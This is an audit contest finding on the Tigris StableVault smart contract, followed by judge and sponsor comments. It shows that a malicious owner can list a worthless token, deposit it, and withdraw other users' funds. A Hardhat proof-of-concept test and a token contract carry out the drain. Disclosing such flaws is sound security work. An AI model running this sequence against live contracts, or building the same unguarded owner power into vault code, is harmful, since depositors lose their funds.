Hacked/Malicious owner can steal funds from StableVault

[code423n4]

Lines of code

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/StableVault.sol#L78-L83
https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/StableVault.sol#L44-L51
https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/StableVault.sol#L65-L72

Vulnerability details

Impact

StableVault allows users to deposit any token allowed by the owner, and they are minted the stable coin (tigUSD) in return.

However a hacked/malicious owner may, potentially within a single transaction, mint a useless ERC20 token with arbitrarily high initial supply, call listToken to allow it to be deposited, call deposit to deposit it, receive the minted stable token, and call withdraw to use that stable token to withdraw any authentic tokens previously deposited by other users.

In this case users would not be able to withdraw the tokens that they deposited, and would only be able to withdraw the useless ERC20 attack token used by the hacked/malicious owner. The fact that this is possible within a single transaction leaves users with no opportunity to avoid their tokens being stolen.

Proof of Concept

The following test was passed within test/06.StableVault.js:

it("Allows hacked/malicious owner to steal funds", async function () {
    // setup
    await stablevault.connect(owner).listToken(MockDAI.address);
    const depositAmount = ethers.utils.parseEther("1000000") // 1M dai
    await mockdai.connect(owner).transfer(user.address, depositAmount)

    // user deposits dai
    await mockdai.connect(user).approve(stablevault.address, depositAmount)
    await stablevault.connect(user).deposit(mockdai.address, depositAmount)

    // owner deposits useless token and withdraws dai
    const uselessERC20 = await (
        await ethers.getContractFactory("UselessToken", owner)
    ).deploy(depositAmount)
    await uselessERC20.connect(owner).approve(stablevault.address, depositAmount)
    await stablevault.connect(owner).listToken(uselessERC20.address)
    await stablevault.connect(owner).deposit(uselessERC20.address, depositAmount)
    await stablevault.connect(owner).delistToken(uselessERC20.address)
    await stablevault.connect(owner).withdraw(mockdai.address, depositAmount)

    // user cannot get his dai back
    await expect(
    stablevault.connect(user).withdraw(mockdai.address, depositAmount)
    ).to.be.revertedWith("ERC20: transfer amount exceeds balance")
})

After the attack, the stable token is backed only by uselessToken, making it effectively worthless.

UselessToken.sol:

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract UselessToken is ERC20 {

    constructor(uint256 initialSupply) ERC20("UselessToken", "UT") {
        _mint(msg.sender, initialSupply);
    }
}

Tools Used

Hardhat

Recommended Mitigation Steps

Implement a timelock for listToken() and delistToken(), so that users have a window to withdraw their funds before malicious actions become possible.

[GalloDaSballo]

Will bulk it under the "Admin can Rug via new asser" and ignore the timelock which we dispute as unfalsifiable

[GalloDaSballo]

Coded POC -> wins

[c4-judge]

GalloDaSballo marked the issue as primary issue

[TriHaz]

We are aware of the centralization risks, owner will be a multisig to reduce centralization until owner becomes the dao later.

[c4-sponsor]

TriHaz marked the issue as sponsor acknowledged

[c4-judge]

GalloDaSballo marked the issue as duplicate of #377

[c4-judge]

GalloDaSballo marked the issue as satisfactory